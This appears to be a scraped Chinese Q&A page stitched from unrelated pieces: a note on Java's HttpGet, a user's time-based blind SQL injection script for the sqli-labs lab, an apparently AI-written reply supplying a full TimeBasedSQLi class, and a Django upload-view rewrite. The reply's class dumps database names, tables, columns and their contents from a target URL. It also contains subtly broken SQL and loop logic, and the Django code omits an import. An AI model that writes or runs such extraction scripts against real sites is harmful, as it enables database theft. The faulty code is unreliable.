HttpGet get_request = new HttpGet(httpUrl);

This code creates an instance of the HttpGet class with the specified httpUrl as the parameter. The HttpGet class represents an HTTP GET request method that is used to retrieve data from a specified URL. Once the instance is created, it can be used to execute the GET request and retrieve the response from the server.

相关问题

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

好的，以下是一个简单的时间盲注脚本示例：

import requests
import time

class TimeBasedSQLi:
    def __init__(self, url, sleep_time=0.5):
        self.url = url
        self.sleep_time = sleep_time

    def make_request(self, payload):
        data = {"id": f"1' AND {payload} AND '1'='1"}
        start_time = time.time()
        response = requests.get(self.url, params=data)
        end_time = time.time()

        if end_time - start_time >= self.sleep_time:
            return True
        else:
            return False

    def get_db_name(self):
        length = 1
        while True:
            payload = f"IF(LENGTH(database())>{length},SLEEP({self.sleep_time}),1)"
            if self.make_request(payload):
                length += 1
            else:
                break
        
        db_name = ''
        for i in range(1, length):
            for j in range(32, 127):
                payload = f"IF(ASCII(SUBSTRING(database(), {i}, 1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(payload):
                    db_name += chr(j)
                    break

        return db_name

    def get_table_names(self):
        table_names = ''
        payload = f"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{self.get_db_name()}')"
        length = 1

        while True:
            check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)"
            if self.make_request(check_payload):
                length += 1
            else:
                break

        for i in range(1, length):
            for j in range(32, 127):
                check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(check_payload):
                    table_names += chr(j)
                    break

        return table_names.split(',')

    def get_column_names(self, table_name):
        column_names = ''
        payload = f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')"
        length = 1

        while True:
            check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)"
            if self.make_request(check_payload):
                length += 1
            else:
                break

        for i in range(1, length):
            for j in range(32, 127):
                check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(check_payload):
                    column_names += chr(j)
                    break

        return column_names.split(',')

    def get_column_data(self, table_name, column_name):
        column_data = ''
        payload = f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})"
        length = 1

        while True:
            check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)"
            if self.make_request(check_payload):
                length += 1
            else:
                break

        for i in range(1, length):
            for j in range(32, 127):
                check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(check_payload):
                    column_data += chr(j)
                    break

        return column_data.split(',')

# 示例用法
url = "http://example.com/vuln.php"
sqli = TimeBasedSQLi(url)

db_name = sqli.get_db_name()
print(f"Database name: {db_name}")

table_names = sqli.get_table_names()
print(f"Table names: {table_names}")

column_names = sqli.get_column_names('users')
print(f"Column names: {column_names}")

column_data = sqli.get_column_data('users', 'username')
print(f"Column data: {column_data}")

注意，这只是一个基本的脚本示例，具体的使用方法和payload需要根据实际情况进行调整。

优化一下下面的代码def FileUploads_modelform(request): """ 批量上传文件 方法三：采用modelform上传，超级简单，只需要实例化表单的时候 接收一下表单里边字符串数据和文件，然后利用表单的save()方法保存一下数据即可 :param request: :return: """ # 判断提交方式GET 或POST if request.method == 'POST': File_ModelForm = FileUpload_ModelForm(request.POST, request.FILES) # 实例化FileUploadForm表单，注意获取数据的方式 if File_ModelForm.is_valid(): # file = File_ModelForm.cleaned_data['file'] # 对于文件，自动保存 # 字段+上传路径自动保存到数据库 # file_form = File_ModelForm.save() # 保存表单到数据库 # 多属性保存 Upload_File = File_ModelForm.save(commit=False) # Upload_File.file_url = Upload_File.file_url.temporary_file_path() # 文件路径 # 调用get_optimized_file_type函数获取优化文件类型 # optimized_file_type = get_optimized_file_type(Upload_File.file_url) Upload_File.file_name = Upload_File.file_url.name # 文件名 Upload_File.file_size = Upload_File.file_url.size # 文件大小 Upload_File.file_update_author = request.user.realname # 获取文件类型 # Get the file content type uploaded_file_type, encoding = mimetypes.guess_type(Upload_File.file_url.path) Upload_File.file_type = uploaded_file_type # Upload_File.file_type = Upload_File.file_url.content_type # optimized_file_type = get_optimized_file_type(file_url) Upload_File.save() # 其他操作，例如返回成功页面或其他处理 # return render(request, 'zadmin/pages/File_Uploads.html', {'file_form': file_form}) return HttpResponse("文件上传成功！") else: file_form = FileUpload_ModelForm() return render(request, 'zadmin/pages/File_Uploads.html', {'file_form': file_form})

下面是优化后的代码，我主要进行了以下改进：

1. 使用适当的命名规范，将函数名从 `FileUploads_modelform` 改为 `file_upload_modelform`。
2. 移除了不必要的注释。
3. 使用更具描述性的变量名。
4. 在文件上传之前，检查用户是否已经登录，并使用 `@login_required` 装饰器进行验证。
5. 使用 `get_optimized_file_type` 函数获取文件类型，并将其保存到数据库中。
6. 通过使用 `try-except` 块来处理可能的异常情况。
7. 返回适当的 HTTP 响应。

from django.shortcuts import render, HttpResponse
from .forms import FileUploadModelForm
from .utils import get_optimized_file_type
import mimetypes

@login_required
def file_upload_modelform(request):
    if request.method == 'POST':
        form = FileUploadModelForm(request.POST, request.FILES)
        if form.is_valid():
            try:
                uploaded_file = form.save(commit=False)
                uploaded_file.file_name = uploaded_file.file_url.name
                uploaded_file.file_size = uploaded_file.file_url.size
                uploaded_file.file_update_author = request.user.realname

                uploaded_file_type, encoding = mimetypes.guess_type(uploaded_file.file_url.path)
                uploaded_file.file_type = uploaded_file_type

                optimized_file_type = get_optimized_file_type(uploaded_file.file_url.path)
                uploaded_file.optimized_file_type = optimized_file_type

                uploaded_file.save()
                return HttpResponse("文件上传成功！")
            except Exception as e:
                return HttpResponse("文件上传失败：" + str(e))
    else:
        form = FileUploadModelForm()
    
    return render(request, 'zadmin/pages/File_Uploads.html', {'form': form})

请确保在你的Django应用程序中正确导入 `FileUploadModelForm` 和 `get_optimized_file_type` 函数，并根据你的实际需求进行适当的调整。

希望这个优化后的代码对你有帮助！如果还有其他问题，请随时提问。